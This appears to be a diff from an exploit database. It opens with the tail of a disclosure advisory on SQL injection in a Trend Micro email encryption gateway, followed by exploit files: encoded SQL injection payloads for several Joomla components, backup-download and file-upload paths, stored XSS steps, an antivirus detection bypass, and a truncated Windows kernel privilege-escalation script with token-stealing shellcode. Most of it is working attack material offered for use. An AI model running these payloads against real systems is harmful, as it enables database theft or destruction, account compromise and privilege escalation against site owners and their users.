Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
action=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201
|
||||
-----/
|
||||
|
||||
7.12. *SQL injection in editPolicy.jsp*
|
||||
|
||||
[CVE-2018-6229]
|
||||
The hidRuleId parameter of the editPolicy.jsp script is not sanitized,
|
||||
leading to SQL injection in a DELETE statement.
|
||||
|
||||
The following excerpt shows that the request object is forwarded to the
|
||||
DeletePolicy method implemented in the formEditPolicy class.
|
||||
|
||||
From webapps/ROOT/editPolicy.jsp:
|
||||
|
||||
/-----
|
||||
<% if (frm.isPostBack())
|
||||
{
|
||||
if (request.getParameter("hidDelete").compareTo("YES") == 0)
|
||||
{
|
||||
frm.DeletePolicy(request);
|
||||
}
|
||||
[...]
|
||||
-----/
|
||||
|
||||
DeletePolicy reads the hidRuleId parameter and calls deletePolicy with
|
||||
it, without doing any sanitization.
|
||||
|
||||
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy:
|
||||
|
||||
/-----
|
||||
public boolean DeletePolicy(HttpServletRequest request)
|
||||
{
|
||||
String ruleId = request.getParameter("hidRuleId");
|
||||
boolean success = dataStore.deletePolicy(ruleId);
|
||||
_databaseError = (!success);
|
||||
|
||||
return success;
|
||||
}
|
||||
-----/
|
||||
|
||||
Finally, the JPostgresDataHelper class uses the ruleId parameter to
|
||||
build dynamic SQL statements, as can be seen in the following extract.
|
||||
|
||||
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper:
|
||||
|
||||
/-----
|
||||
public boolean deletePolicy(String ruleId)
|
||||
{
|
||||
Connection cnn = null;
|
||||
Statement query = null;
|
||||
|
||||
boolean bSuccess = true;
|
||||
|
||||
try
|
||||
{
|
||||
cnn = MySQLClient.GetInstance().GetConnection();
|
||||
cnn.setAutoCommit(false);
|
||||
query = cnn.createStatement();
|
||||
|
||||
query.executeUpdate("DELETE FROM RulesEmailIndex WHERE
|
||||
RulesEngineId = " + ruleId);
|
||||
query.executeUpdate("DELETE FROM SubRuleIndex WHERE RulesEngineId
|
||||
= " + ruleId);
|
||||
query.executeUpdate("DELETE FROM RulesEngine WHERE Id = " + ruleId);
|
||||
[...]
|
||||
-----/
|
||||
|
||||
The ruleId parameter will be appended as-is to the DELETE statements,
|
||||
resulting in a SQL injection.
|
||||
|
||||
The following request will cause the RulesEmailIndex, SubRuleIndex, and
|
||||
RulesEngine tables to be truncated:
|
||||
|
||||
/-----
|
||||
POST /editPolicy.jsp HTTP/1.1
|
||||
Host: [server]
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0)
|
||||
Gecko/20100101 Firefox/53.0
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Referer: https://[server]/policies.jsp
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 133
|
||||
Cookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F
|
||||
Connection: close
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
action=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1
|
||||
-----/
|
||||
|
||||
|
||||
7.13. *SQL Injection in emailSearch.jsp*
|
||||
|
||||
[CVE-2018-6230]
|
||||
The SearchString parameter of the emailSearch.jsp script is not
|
||||
sanitized, leading to a SQL injection.
|
||||
|
||||
As can be seen in the following excerpt, the emailSearch.jsp script
|
||||
reads a parameter named SearchString and calls the getResults method
|
||||
defined in the wsEmailSearch class.
|
||||
|
||||
From webapps/ROOT/emailSearch.jsp:
|
||||
|
||||
/-----
|
||||
if (session.getAttribute("UserName") != null)
|
||||
{
|
||||
response.setContentType("text/xml");
|
||||
ws.setSearchParam(request.getParameter("SearchString"));
|
||||
java.util.Vector res = ws.getResults();
|
||||
[...]
|
||||
-----/
|
||||
|
||||
The searchParam property is not sanitized before being used to build a
|
||||
dynamic SQL query, resulting in a SQL injection in the SELECT statement.
|
||||
|
||||
From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch:
|
||||
|
||||
/-----
|
||||
public class wsEmailSearch
|
||||
{
|
||||
private String _searchParam = "";
|
||||
public void setSearchParam(String searchParam) { _searchParam =
|
||||
searchParam; }
|
||||
|
||||
public Vector getResults()
|
||||
{
|
||||
Vector res = new Vector();
|
||||
|
||||
Connection cnn = MySQLClient.GetInstance().GetConnection();
|
||||
try
|
||||
{
|
||||
Statement query = cnn.createStatement();
|
||||
|
||||
ResultSet rs = query.executeQuery("SELECT address FROM
|
||||
RulesEmailAddresses WHERE address LIKE '%" + _searchParam + "%' ORDER BY
|
||||
address");
|
||||
[...]
|
||||
-----/
|
||||
|
||||
The following proof of concept will cause all the e-mails on the
|
||||
database to be retrieved:
|
||||
|
||||
/-----
|
||||
POST /emailSearch.jsp HTTP/1.1
|
||||
Host: server
|
||||
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0)
|
||||
Gecko/20100101 Firefox/53.0
|
||||
Accept: */*
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Referer: https://server/policies.jsp
|
||||
Content-Length: 39
|
||||
Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2
|
||||
Connection: close
|
||||
|
||||
SearchString=' OR '%1%'='%1
|
||||
-----/
|
||||
|
||||
8. *Report Timeline*
|
||||
2017-06-05: Core Security sent an initial notification to Trend Micro,
|
||||
including a draft advisory.
|
||||
2017-06-05: Trend Micro confirmed reception of advisory and informed
|
||||
they will submit it to the relevant technical team for validation and
|
||||
replication.
|
||||
2017-06-22: Core Security asked for an update on the vulnerability
|
||||
reported.
|
||||
2017-06-22: Trend Micro answered saying the cases are still being vetted
|
||||
and that they will commit a time when the solution is finalized.
|
||||
2017-08-28: Core Security asked again for an update on the vulnerability
|
||||
reported.
|
||||
2017-08-28: Trend Micro answered saying the team is still in the process
|
||||
of creating the official fix for the vulnerabilities, although there is
|
||||
still no official release date.
|
||||
2017-10-02: Core Security asked again for an update on the vulnerability
|
||||
reported.
|
||||
2017-10-02: Trend Micro answered saying the team are still finalizing
|
||||
the fix to ensure all vulnerabilities are covered.
|
||||
2017-11-13: Core Security asked again (4th time) for an ETA for the
|
||||
official fix. We stated we need a release date or a thorough explanation
|
||||
on why after five months there is still no date defined. If there is no
|
||||
such answer we will be forced to publish the advisory.
|
||||
2017-11-14: Trend Micro answered saying the team is still working on two
|
||||
vulnerabilities and due to the complexity and number of vulnerabilities
|
||||
overall found, their team requires more time.
|
||||
2018-01-16: Core Security asked again (5th time) for an ETA for the
|
||||
official fix.
|
||||
2018-01-23: Trend Micro answered proposing the publication date to be
|
||||
February 7th.
|
||||
2018-01-24: Core Security thanked Trend Micro's answer and asked if all
|
||||
the vulnerabilities reported in the advisory will be addressed. In
|
||||
addition, Core Security asked for CVE-IDs.
|
||||
2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be
|
||||
addressed and notified Core Security they will send the CVE-IDs when
|
||||
have these assigned. In addition, Trend Micro sent its new PGP key.
|
||||
2018-01-29: Core Security thanked Trend Micro's confirmation and agreed
|
||||
on the proposed release date.
|
||||
2018-01-29: Trend Micro answered saying the team found a couple of
|
||||
issues during the QA test. Consequently, Trend Micro asked for
|
||||
additional time to fix the remaining vulnerabilities and required a
|
||||
separated disclosure time.
|
||||
2018-01-29: Core Security answered its intention to report all the
|
||||
vulnerabilities in just one advisory and asked for a timeline for the fix.
|
||||
2018-02-01: Core Security asked for an update on the remaining
|
||||
vulnerabilities.
|
||||
2018-02-02: Trend Micro sent an update and requested a week extension.
|
||||
2018-02-02: Core Security thanked Trend Micro's update and agreed to
|
||||
postpone the release.
|
||||
2018-02-14: Trend Micro answered saying the remaining vulnerabilities
|
||||
will not be addressed in the patch due to its complexity; therefore,
|
||||
mitigation steeps will be recommending. Also, Trend Micro proposed
|
||||
February 21 as the release date.
|
||||
2018-02-14: Core Security thanked Trend Micro's update and agreed on the
|
||||
proposed release date.
|
||||
2018-02-21: Advisory CORE-2017-0006 published.
|
||||
|
||||
9. *References*
|
||||
|
||||
[1]
|
||||
http://apac.trendmicro.com/apac/enterprise/network-web-messaging-security/email-encryption/
|
||||
|
||||
|
||||
10. *About CoreLabs*
|
||||
|
||||
CoreLabs, the research center of Core Security, is charged with
|
||||
anticipating the future needs and requirements for information security
|
||||
technologies.
|
||||
We conduct our research in several important areas of computer security
|
||||
including system vulnerabilities, cyber attack planning and simulation,
|
||||
source code auditing, and cryptography. Our results include problem
|
||||
formalization, identification of vulnerabilities, novel solutions and
|
||||
prototypes for new technologies. CoreLabs regularly publishes security
|
||||
advisories, technical papers, project information and shared software
|
||||
tools for public use at:
|
||||
http://corelabs.coresecurity.com.
|
||||
|
||||
11. *About Core Security*
|
||||
|
||||
Core Security provides companies with the security insight they need to
|
||||
know who, how, and what is vulnerable in their organization. The
|
||||
company's threat-aware, identity & access, network security, and
|
||||
vulnerability management solutions provide actionable insight and context
|
||||
needed to manage security risks across the enterprise. This shared
|
||||
insight gives customers a comprehensive view of their security posture
|
||||
to make better security remediation decisions. Better insight allows
|
||||
organizations to prioritize their efforts to protect critical assets,
|
||||
take action sooner to mitigate access risk, and react faster if a breach
|
||||
does occur.
|
||||
|
||||
Core Security is headquartered in the USA with offices and operations in
|
||||
South America, Europe, Middle East and Asia. To learn more, contact Core
|
||||
Security at (678) 304-4500 or info@coresecurity.com
|
||||
|
||||
12. *Disclaimer*
|
||||
|
||||
The contents of this advisory are copyright (c) 2018 Core Security and
|
||||
(c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution
|
||||
Non-Commercial Share-Alike 3.0 (United States) License:
|
||||
http://creativecommons.org/licenses/by-nc-sa/3.0/us/
|
||||
|
||||
13. *PGP/GPG Keys*
|
||||
|
||||
This advisory has been signed with the GPG key of Core Security advisories
|
||||
team, which is available for download at
|
||||
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
|
24
exploits/php/webapps/44158.txt
Normal file
24
exploits/php/webapps/44158.txt
Normal file
|
@ -0,0 +1,24 @@
|
|||
# # # #
|
||||
# Exploit Title: Joomla! Component CW Tags 2.0.6 - SQL Injection
|
||||
# Dork: N/A
|
||||
# Date: 22.02.2018
|
||||
# Vendor Homepage: http://www.cwjoomla.com/
|
||||
# Software Link: https://extensions.joomla.org/extensions/extension/search-a-indexing/tags-a-clouds/cw-tags/
|
||||
# Version: 2.0.6
|
||||
# Category: Webapps
|
||||
# Tested on: WiN7_x64/KaLiLinuX_x64
|
||||
# CVE: CVE-2018-7313
|
||||
# # # #
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# # # #
|
||||
#
|
||||
# POC:
|
||||
#
|
||||
# 1)
|
||||
# http://localhost/[PATH]/index.php?option=com_cwtags&searchtext[]=[SQL]
|
||||
#
|
||||
# %2d%45%66%65%27%29%20%20%2f%2a%21%30%33%33%33%33%55%4e%49%4f%4e%2a%2f%20%2f%2a%21%30%33%33%33%33%53%45%4c%45%43%54%2a%2f%20%40%40%48%4f%53%54%4e%41%4d%45%2d%2d%20%2d
|
||||
#
|
||||
# %31%27%61%6e%64%20%28%73%65%6c%65%63%74%20%31%20%66%72%6f%6d%20%28%73%65%6c%65%63%74%20%63%6f%75%6e%74%28%2a%29%2c%63%6f%6e%63%61%74%28%28%73%65%6c%65%63%74%28%73%65%6c%65%63%74%20%63%6f%6e%63%61%74%28%63%61%73%74%28%64%61%74%61%62%61%73%65%28%29%20%61%73%20%63%68%61%72%29%2c%30%78%37%65%29%29%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%20%77%68%65%72%65%20%74%61%62%6c%65%5f%73%63%68%65%6d%61%3d%64%61%74%61%62%61%73%65%28%29%20%6c%69%6d%69%74%20%30%2c%31%29%2c%66%6c%6f%6f%72%28%72%61%6e%64%28%30%29%2a%32%29%29%78%20%66%72%6f%6d%20%69%6e%66%6f%72%6d%61%74%69%6f%6e%5f%73%63%68%65%6d%61%2e%74%61%62%6c%65%73%20%67%72%6f%75%70%20%62%79%20%78%29%61%29%20%41%4e%44%20%27%27%3d%27
|
||||
#
|
||||
# # # #
|
23
exploits/php/webapps/44159.txt
Normal file
23
exploits/php/webapps/44159.txt
Normal file
|
@ -0,0 +1,23 @@
|
|||
# # # #
|
||||
# Exploit Title: Joomla! Component Proclaim 9.1.1 - Backup Download
|
||||
# Dork: N/A
|
||||
# Date: 22.02.2018
|
||||
# Vendor Homepage: https://www.christianwebministries.org/
|
||||
# Software Link: https://extensions.joomla.org/extensions/extension/living/religion/proclaim/
|
||||
# Software Download: https://github.com/Joomla-Bible-Study/Joomla-Bible-Study/releases/download/v9.1.1/pkg_proclaim.zip
|
||||
# Version: 9.1.1
|
||||
# Category: Webapps
|
||||
# Tested on: WiN7_x64/KaLiLinuX_x64
|
||||
# CVE: CVE-2018-7317
|
||||
# # # #
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# # # #
|
||||
#
|
||||
# POC:
|
||||
#
|
||||
# 1)
|
||||
# http://localhost/[PATH]/media/com_biblestudy/backup/
|
||||
#
|
||||
# http://localhost/[PATH]/media/com_biblestudy/backup/Joomla375_jbs-db-backup_2018_February_22_1518955684.sql
|
||||
#
|
||||
# # # #
|
24
exploits/php/webapps/44160.txt
Normal file
24
exploits/php/webapps/44160.txt
Normal file
|
@ -0,0 +1,24 @@
|
|||
# # # #
|
||||
# Exploit Title: Joomla! Component PrayerCenter 3.0.2 - SQL Injection
|
||||
# Dork: N/A
|
||||
# Date: 22.02.2018
|
||||
# Vendor Homepage: http://www.mlwebtechnologies.com/
|
||||
# Software Link: https://extensions.joomla.org/extensions/extension/living/religion/prayercenter/
|
||||
# Software Download: http://mlwebtechnologies.github.io/PrayerCenter/
|
||||
# Software Download: https://github.com/MLWebTechnologies/PrayerCenter/releases/download/3.0.2/PrayerCenter302Unzip1st.zip
|
||||
# Version: 3.0.2
|
||||
# Category: Webapps
|
||||
# Tested on: WiN7_x64/KaLiLinuX_x64
|
||||
# CVE: CVE-2018-7314
|
||||
# # # #
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# # # #
|
||||
#
|
||||
# POC:
|
||||
#
|
||||
# 1)
|
||||
# http://localhost/[PATH]/index.php?option=com_prayercenter&task=confirm&id=1&sessionid=[SQL]
|
||||
#
|
||||
# %31%27%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%32%32%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%28%53%45%4c%45%43%54%20%47%52%4f%55%50%5f%43%4f%4e%43%41%54%28%74%61%62%6c%65%5f%6e%61%6d%65%20%53%45%50%41%52%41%54%4f%52%20%30%78%33%63%36%32%37%32%33%65%29%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%20%57%48%45%52%45%20%54%41%42%4c%45%5f%53%43%48%45%4d%41%3d%44%41%54%41%42%41%53%45%28%29%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%3d%31%2c%31%29%29%29%2c%64%61%74%61%62%61%73%65%28%29%29%29%2d%2d%20%56%65%72%41%79%61%72%69
|
||||
#
|
||||
# # # #
|
29
exploits/php/webapps/44161.txt
Normal file
29
exploits/php/webapps/44161.txt
Normal file
|
@ -0,0 +1,29 @@
|
|||
# # # #
|
||||
# Exploit Title: Joomla! Component Ek Rishta 2.9 - SQL Injection
|
||||
# Dork: N/A
|
||||
# Date: 22.02.2018
|
||||
# Vendor Homepage: https://www.joomlaextensions.co.in/
|
||||
# Software Link: https://extensions.joomla.org/extensions/extension/living/dating-a-relationships/ek-rishta/
|
||||
# Version: 2.9
|
||||
# Category: Webapps
|
||||
# Tested on: WiN7_x64/KaLiLinuX_x64
|
||||
# CVE: CVE-2018-7315
|
||||
# # # #
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# # # #
|
||||
#
|
||||
# POC:
|
||||
#
|
||||
# 1)
|
||||
# http://localhost/[PATH]/index.php/component/ekrishta/alluser?options=com_ekrishta&view=alluser
|
||||
# &gender=[SQL]
|
||||
# &age1=[SQL]
|
||||
# &age2=[SQL]
|
||||
# &religion=[SQL]
|
||||
# &mothertounge=[SQL]
|
||||
# &caste=[SQL]
|
||||
# &country=[SQL]
|
||||
#
|
||||
# %27%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%32%32%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%76%65%72%73%69%6f%6e%28%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%3d%31%2c%31%29%29%29%2c%64%61%74%61%62%61%73%65%28%29%29%29%2d%2d%20%56%65%72%41%79%61%72%69
|
||||
#
|
||||
# # # #
|
23
exploits/php/webapps/44162.txt
Normal file
23
exploits/php/webapps/44162.txt
Normal file
|
@ -0,0 +1,23 @@
|
|||
# # # #
|
||||
# Exploit Title: Joomla! Component Alexandria Book Library 3.1.2 - SQL Injection
|
||||
# Dork: N/A
|
||||
# Date: 22.02.2018
|
||||
# Vendor Homepage: https://alexandriabooklibrary.org/
|
||||
# Software Link: https://extensions.joomla.org/extensions/extension/living/education-a-culture/alexandria-book-library/
|
||||
# Software Download: https://alexandriabooklibrary.org/abook_files/Alexandria_Book_Library/Alexandria_Book_Library_for_Joomla_30/Component/com_abook_3_1_2_beta.tgz
|
||||
# Version: 3.1.2
|
||||
# Category: Webapps
|
||||
# Tested on: WiN7_x64/KaLiLinuX_x64
|
||||
# CVE: CVE-2018-7312
|
||||
# # # #
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# # # #
|
||||
#
|
||||
# POC:
|
||||
#
|
||||
# 1)
|
||||
# http://localhost/[PATH]/index.php?option=com_abook&view=category&letter=[SQL]
|
||||
#
|
||||
# %44%27%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%32%32%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%76%65%72%73%69%6f%6e%28%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%3d%31%2c%31%29%29%29%2c%64%61%74%61%62%61%73%65%28%29%29%29%2d%2d%20%56%65%72%41%79%61%72%69
|
||||
#
|
||||
# # # #
|
27
exploits/php/webapps/44163.txt
Normal file
27
exploits/php/webapps/44163.txt
Normal file
|
@ -0,0 +1,27 @@
|
|||
# # # #
|
||||
# Exploit Title: Joomla! Component CheckList 1.1.1 - SQL Injection
|
||||
# Dork: N/A
|
||||
# Date: 22.02.2018
|
||||
# Vendor Homepage: https://www.joomplace.com/
|
||||
# Software Link: https://extensions.joomla.org/extensions/extension/living/personal-life/checklist/
|
||||
# Version: 1.1.1
|
||||
# Category: Webapps
|
||||
# Tested on: WiN7_x64/KaLiLinuX_x64
|
||||
# CVE: CVE-2018-7318
|
||||
# # # #
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# # # #
|
||||
#
|
||||
# POC:
|
||||
#
|
||||
# 1)
|
||||
# http://localhost/[PATH]/index.php?option=com_checklist&view=frontend
|
||||
# &title_search=[SQL]
|
||||
# &tag_search=[SQL]
|
||||
# &name_search=[SQL]
|
||||
# &description_search=[SQL]
|
||||
# &filter_order=[SQL]
|
||||
#
|
||||
# %27%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%32%32%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%76%65%72%73%69%6f%6e%28%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%31%3d%31%2c%31%29%29%29%2c%64%61%74%61%62%61%73%65%28%29%29%29%2d%2d%20%56%65%72%41%79%61%72%69
|
||||
#
|
||||
# # # #
|
23
exploits/php/webapps/44164.txt
Normal file
23
exploits/php/webapps/44164.txt
Normal file
|
@ -0,0 +1,23 @@
|
|||
# # # #
|
||||
# Exploit Title: Joomla! Component Proclaim 9.1.1 - Arbitrary File Upload
|
||||
# Dork: N/A
|
||||
# Date: 22.02.2018
|
||||
# Vendor Homepage: https://www.christianwebministries.org/
|
||||
# Software Link: https://extensions.joomla.org/extensions/extension/living/religion/proclaim/
|
||||
# Software Download: https://github.com/Joomla-Bible-Study/Joomla-Bible-Study/releases/download/v9.1.1/pkg_proclaim.zip
|
||||
# Version: 9.1.1
|
||||
# Category: Webapps
|
||||
# Tested on: WiN7_x64/KaLiLinuX_x64
|
||||
# CVE: CVE-2018-7316
|
||||
# # # #
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# # # #
|
||||
#
|
||||
# POC:
|
||||
#
|
||||
# 1)
|
||||
# http://localhost/[PATH]/index.php?option=com_biblestudy&view=mediafileform&layout=edit&id=1
|
||||
#
|
||||
# http://localhost/[PATH]/images/biblestudy/media/[FILE]
|
||||
#
|
||||
# # # #
|
23
exploits/php/webapps/44165.txt
Normal file
23
exploits/php/webapps/44165.txt
Normal file
|
@ -0,0 +1,23 @@
|
|||
# # # #
|
||||
# Exploit Title: Joomla! Component OS Property Real Estate 3.12.7 - SQL Injection
|
||||
# Dork: N/A
|
||||
# Date: 22.02.2018
|
||||
# Vendor Homepage: https://www.joomdonation.com/
|
||||
# Software Link: https://extensions.joomla.org/extensions/extension/vertical-markets/real-estate/os-property/
|
||||
# Version: 3.12.7
|
||||
# Category: Webapps
|
||||
# Tested on: WiN7_x64/KaLiLinuX_x64
|
||||
# CVE: CVE-2018-7319
|
||||
# # # #
|
||||
# Exploit Author: Ihsan Sencan
|
||||
# # # #
|
||||
#
|
||||
# POC:
|
||||
#
|
||||
# 1)
|
||||
# http://localhost/[PATH]/os-property-layouts/search-tools/advanced-search?&option=com_osproperty&task=property_advsearch
|
||||
# &cooling_system1=[SQL]
|
||||
# &heating_system1=[SQL]
|
||||
# &laundry=[SQL]
|
||||
#
|
||||
# # # #
|
19
exploits/php/webapps/44170.txt
Normal file
19
exploits/php/webapps/44170.txt
Normal file
|
@ -0,0 +1,19 @@
|
|||
#######################################################
|
||||
# Exploit Title: Learning and Examination Management System Script 2.3.1 – Stored XSS
|
||||
# Date: 09.02.2018
|
||||
# Vendor Homepage: https://www.phpscriptsmall.com/
|
||||
# Software Link: https://www.phpscriptsmall.com/product/learning-examination-management-system/
|
||||
# Category: Web Application
|
||||
# Exploit Author: Prasenjit Kanti Paul
|
||||
# Web: http://hack2rule.wordpress.com/
|
||||
# Version: 2.3.1
|
||||
# Tested on: Linux Mint
|
||||
# CVE: CVE-2018-6866
|
||||
#######################################################
|
||||
|
||||
Proof of Concept
|
||||
-----------------
|
||||
1. Login into the site
|
||||
2. Goto “Message” options
|
||||
3. Put <script>alert("PKP")</script> as message / reply message
|
||||
4. You will be having a popup “PKP”
|
19
exploits/php/webapps/44171.txt
Normal file
19
exploits/php/webapps/44171.txt
Normal file
|
@ -0,0 +1,19 @@
|
|||
#######################################################
|
||||
# Exploit Title: Alibaba Clone Script 1.0.2 – Stored XSS
|
||||
# Date: 09.02.2018
|
||||
# Vendor Homepage: https://www.phpscriptsmall.com/
|
||||
# Software Link: https://www.phpscriptsmall.com/product/alibaba-clone/
|
||||
# Category: Web Application
|
||||
# Exploit Author: Prasenjit Kanti Paul
|
||||
# Web: http://hack2rule.wordpress.com/
|
||||
# Version: 1.0.2
|
||||
# Tested on: Linux Mint
|
||||
# CVE: CVE-2018-6867
|
||||
#######################################################
|
||||
|
||||
Proof of Concept
|
||||
-----------------
|
||||
1. Login into the site
|
||||
2. Goto “Edit Profile”
|
||||
3. Put <script>alert("PKP")</script> in any field
|
||||
4. You will be having a popup “PKP”
|
19
exploits/php/webapps/44172.txt
Normal file
19
exploits/php/webapps/44172.txt
Normal file
|
@ -0,0 +1,19 @@
|
|||
########################################################################
|
||||
# Exploit Title: Slickdeals/DealNews/Groupon Clone Script 3.0.2 – Stored XSS
|
||||
# Date: 09.02.2018
|
||||
# Vendor Homepage: https://www.phpscriptsmall.com/
|
||||
# Software Link: https://www.phpscriptsmall.com/product/groupon-clone-script/
|
||||
# Category: Web Application
|
||||
# Exploit Author: Prasenjit Kanti Paul
|
||||
# Web: http://hack2rule.wordpress.com/
|
||||
# Version: 3.0.2
|
||||
# Tested on: Linux Mint
|
||||
# CVE: CVE-2018-6868
|
||||
##########################################################################
|
||||
|
||||
Proof of Concept
|
||||
------------------------
|
||||
1. Login into the site
|
||||
2. Goto “Edit Profile”
|
||||
3. Put <script>alert("PKP")</script> in any field
|
||||
4. You will be having a popup “PKP”
|
49
exploits/windows/local/44169.txt
Normal file
49
exploits/windows/local/44169.txt
Normal file
|
@ -0,0 +1,49 @@
|
|||
/*
|
||||
Title: Armadito Antivirus - Malware Detection Bypass
|
||||
Date: 21/02/2018
|
||||
Author: Souhail Hammou
|
||||
Author's website: http://rce4fun.blogspot.com
|
||||
Vendor Homepage: http://www.teclib-edition.com/en/
|
||||
Version: 0.12.7.2
|
||||
CVE: CVE-2018-7289
|
||||
|
||||
|
||||
Details:
|
||||
--------
|
||||
An issue was discovered in armadito-windows-driver/src/communication.c affecting Armadito 0.12.7.2 and previous versions.
|
||||
Malware with filenames containing pure UTF-16 characters can bypass detection.
|
||||
The user-mode service will fail to open the file for scanning after the conversion is done from Unicode to ANSI.
|
||||
This happens because characters that cannot be converted from Unicode are replaced with the '?' character.
|
||||
|
||||
The code responsible for this issue is located in armadito-windows-driver/src/communication.c
|
||||
|
||||
========================================================================================================
|
||||
// Convert unicode string to ansi string for ring 3 process.
|
||||
ntStatus = RtlUnicodeStringToAnsiString(&AnsiString, (PCUNICODE_STRING)FilePath, TRUE);
|
||||
if(!NT_SUCCESS(ntStatus)){
|
||||
DbgPrint("[-] Error :: ArmaditoGuard!SendScanOrder :: RtlUnicodeStringToAnsiString() routine failed !! \n");
|
||||
__leave;
|
||||
}
|
||||
========================================================================================================
|
||||
|
||||
The two examples below demonstrate the bug.
|
||||
In the first case, the filename is in Arabic and in the second, the filename's first letter is the greek M (U+039C).
|
||||
|
||||
|
||||
Original filename:
|
||||
مرحبا.exe : 0645 0631 062d 0628 0627 002e 0065 0078 0065
|
||||
|
||||
Converted to ANSI by Armadito:
|
||||
?????.exe : 3f 3f 3f 3f 3f 2e 65 78 65
|
||||
|
||||
=============================
|
||||
|
||||
Original filename:
|
||||
Μalware.exe : 039c 0061 006c 0077 0061 0072 0065 002e 0065 0078 0065
|
||||
|
||||
Converted to ANSI by Armadito:
|
||||
?alware.exe : 3f 61 6c 77 61 72 65 2e 65 78 65
|
||||
|
||||
|
||||
See: https://github.com/armadito/armadito-windows-driver/issues/5
|
||||
*/
|
451
exploits/windows_x86-64/local/44168.py
Executable file
451
exploits/windows_x86-64/local/44168.py
Executable file
|
@ -0,0 +1,451 @@
|
|||
from ctypes import *
|
||||
|
||||
from ctypes.wintypes import *
|
||||
|
||||
import struct
|
||||
|
||||
import sys
|
||||
|
||||
import os
|
||||
|
||||
|
||||
|
||||
MEM_COMMIT = 0x00001000
|
||||
|
||||
MEM_RESERVE = 0x00002000
|
||||
|
||||
PAGE_EXECUTE_READWRITE = 0x00000040
|
||||
|
||||
GENERIC_READ = 0x80000000
|
||||
|
||||
GENERIC_WRITE = 0x40000000
|
||||
|
||||
OPEN_EXISTING = 0x3
|
||||
|
||||
STATUS_INVALID_HANDLE = 0xC0000008
|
||||
|
||||
|
||||
|
||||
shellcode_len = 90
|
||||
|
||||
s = “”
|
||||
|
||||
s += “\x65\x48\x8B\x04\x25\x88\x01\x00” #mov rax, [gs:0x188]
|
||||
|
||||
s += “\x00”
|
||||
|
||||
s += “\x48\x8B\x40\x70” #mov rax, [rax + 0x70]
|
||||
|
||||
s += “\x48\x8B\x98\x90\x02\x00\x00” #mov rbx, [rax + 0x290]
|
||||
|
||||
s += “\x48\x8B\x80\x88\x01\x00\x00” #mov rax, [rax + 0x188]
|
||||
|
||||
s += “\x48\x2D\x88\x01\x00\x00” #sub rax, 0x188
|
||||
|
||||
s += “\x48\x39\x98\x80\x01\x00\x00” #cmp [rax + 0x180], rbx
|
||||
|
||||
s += “\x75\xEA” #jne Loop1
|
||||
|
||||
s += “\x48\x89\xC1” #mov rcx, rax
|
||||
|
||||
s += “\xBA\x04\x00\x00\x00” #mov rdx, 0x4
|
||||
|
||||
s += “\x48\x8B\x80\x88\x01\x00\x00” #mov rax, [rax + 0x188]
|
||||
|
||||
s += “\x48\x2D\x88\x01\x00\x00” #sub rax, 0x188
|
||||
|
||||
s += “\x48\x39\x90\x80\x01\x00\x00” #cmp [rax + 0x180], rdx
|
||||
|
||||
s += “\x75\xEA” #jne Loop2
|
||||
|
||||
s += “\x48\x8B\x80\x08\x02\x00\x00” #mov rax, [rax + 0x208]
|
||||
|
||||
s += “\x48\x89\x81\x08\x02\x00\x00” #mov [rcx + 0x208], rax
|
||||
|
||||
s += “\x48\x31\xC0” #xor rax,rax
|
||||
|
||||
s += “\xc3” #ret
|
||||
|
||||
shellcode = s
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
”’
|
||||
|
||||
* Convert a python string to PCHAR
|
||||
|
||||
@Param string – the string to be converted.
|
||||
|
||||
@Return – a PCHAR that can be used by winapi functions.
|
||||
|
||||
”’
|
||||
|
||||
def str_to_pchar(string):
|
||||
|
||||
pString = c_char_p(string)
|
||||
|
||||
|
||||
|
||||
return pString
|
||||
|
||||
|
||||
|
||||
”’
|
||||
|
||||
* Map memory in userspace using NtAllocateVirtualMemory
|
||||
|
